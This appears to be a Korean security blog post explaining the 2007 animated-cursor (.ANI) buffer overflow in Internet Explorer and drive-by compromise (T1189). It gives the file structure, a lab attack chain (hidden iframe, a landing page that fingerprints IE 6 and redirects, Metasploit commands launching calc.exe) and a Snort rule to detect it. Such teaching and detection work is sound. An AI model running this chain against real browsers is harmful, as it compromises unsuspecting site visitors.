브라우저 익스플로잇 : 웹 브라우저나 그 구성 요소(JavaScript 엔진 등)의 보안 취약점을 악용해 악성코드를 실행하거나 시스템을 장악하는 공격 기법
[CVE-2007-0038(애니메이션 커서 원격 코드 실행 취약점) 개념]
- HTML 페이지 혹은 웹 페이즈를 통해 로드되는 애니메이션 커서 파일(.ANI)을 USER32.DLL 라이브러리의 함수에서 처리하는 과정에서 버퍼 오버플로우가 발생하는 취약점
- 브라우저에서 도메인 URI를 통해 서버의 JS, HTML, CSS 같은 내용 전달 받음
- 서버에서 .ani 파일을 브라우저에 전달해 커서 변경 가능
- 브라우저는 USER32.dll을 이용해 마우스 커서 효과 적용
[.ANI 파일]
- 웹 페이지에서 로드
- 멀티미디어 파일 포멧인 RIFF(Resource Interchange File Format) 포멧 기반으로 구성되어, "RIFF" 시그니처를 포함한 해더 시작
- 가변 길이의 구획들인 청크(Chunk)로 다수 포함하고 있음

[청크(Chunk) 파일 구조]
- tag, size, data 멤버로 구성
- tag, size 멤버는 4바이트
- data 멤버는 가변 크기
- tag : ascii으로 표현되며 seq, LIST, rate 또는 anih 등 값을 가짐

[ANI 파일 구조 분석]

- 시그니처 RIFF
- File size : 0x00000CA0
- File type : ACON

- 청크(Chunk) tag 멤버 : LIST, anih

- 첫 번째 정크 크기 : 0x00000044

- 두 번째 정크 크기 : 0x00000024

- 세 번쨰 정크 크기 : 0x00000C1C
[T1189(Drive-by Compromise) 개념]
- 웹 브라우저가 감염된 웹 사이트 방문시 악성코드 다운로드 또는 실행하여 통제 권한 탈취
| 구분 | 설명 |
| 감염된 웹사이트 | 공격자에 의해 해킹된 웹 서버 웹사이트 코드를 수정해 랜딩 서버로 이동 |
| 랜딩 서버 | 취약점 있는 브라우저 종류 및 버전 확인 후 익스플로잇/페이로드 배포 서버로 이동 |
| 익스플로잇/페이로드 배포 서버 | 실제 공격이 이뤄지는 서버 랜딩 서버에서 수집한 정보를 토대로 브라우저 취약점 공격 진행 |
[공격]
감염된 웹 페이지 코드
<html>
<head>
<title> Test Page </title>
</head>
<body>
Test Page... <br>
Welcome!! <br>
<!-- <iframe src="http://192.168.57.80/land.html"></iframe> -->
<!-- <iframe src="http://192.168.57.80/randgen.html" width=0 height=0></iframe> -->
</body>
<html>
- iframe : 웹 페이지 내부에 다른 웹 페이지 삽입할 수 있게 해주는 HTML 태그로 현재 페이지 내에 다른 웹 페이지가 뜨게 함
랜딩 페이지
<html>
<meta http-equiv="cache-control" content="no-cache">
<meta http-equiv="expires" content="-1">
<head><title> test page </title></head>
<body>
<script>
alert ("Landing Page!");
var browser_ver = navigator.userAgent.toLowerCase();
alert ("Your Browser Version:" + browser_ver);
if(browser_ver.index0f('msie 6.0')>0) {
alert ("Your Browser is vulnerable");
location.href= "http://192.168.57.11";
} else {
alert ("Your Browser is not vulnerable");
}
</script>
</body>
</html>
- 랜딩페이지 접속 성공시 : "Landing Page!" 팝업 발생
- browser_ver : userAgent 정보 저장
- if문을 통해 공격 가능한 취약 브라우저 여부 확인
- 취약 브라우저 일시 악성 페이로드 전달하는 서버로 리다이렉션 함
악성 스크립트
use exploit/windows/browser/ms07_017_ani_loadimage_chunksize
set SRVHOST 192.168.57.11
set SRVPORT 80
set PAYLOAD windows/exec
set CMD calc.exe
exploit
- use ex~~~ : 2007년 ani 커서 파일 취약점 이용한 Exploit 모듈 이용
- set ~~ : 호스팅할 악성 웹 서버 IP 지정, 해당 주소 접속 시 Exploit 실행
- set : 웹 서버 포트 설정
- set : 익스플로잇 성공시 실행할 페이로드 종류
- set : 익스플로잇 성공시 실행할 명령어 지정
- exploit : 악성 파일 호스팅하는 웹서버 시작
[분석]
ANI 파일의 ID는 "anih"이며 청크 사이즈는 0x24(36byte)
공격자는 ANI파일의 사이즈인 36byte보다 큰 데이터를 넣어 버퍼 오버플로우 발생
alert tcp any any -> any any (
msg: "BROWSER-IE MS IE ANI file parsing buffer overflow attempt";
flow: to client, established;
file_data;
content: "RIFF"; depth: 4;
content: "ACON"; within: 4; distance: 4;
content: "anih"; distance: 0; nocase;
byte_test: 4, >, 36, 0, relative, little;
sid: 3079; rev:21;
)
- : 모든 TCP 트래픽 감시하고, 공격 발생 시 알림 발생
- : 파일 내용 기준으로 검사 시작
- : 파일 처음 4바이트가 "RIFF" 여부 확인
- : "RIFF"로부터 4바이트 이후 "ACON" 여부 확인
- : "ACON" 이후 바로 "anih"가 있는지
- : 현재 위치로부터 4바이트 읽고, little-endian 해석시 값이 36보다 크면 탐지

'보안 > 보안 개념' 카테고리의 다른 글
| 프로세스 인젝션 이벤트 탐지 (0) | 2026.05.27 |
|---|---|
| 프로세스 리니지 이상 이벤트 식별(서비스 호스팅) (0) | 2026.05.27 |
| 한컴 오피스 문서 포스트스크립트 실행 이벤트 탐지 (0) | 2026.05.27 |
| LOL 바이너리 (0) | 2026.05.26 |
| 시스마 룰 (0) | 2026.05.26 |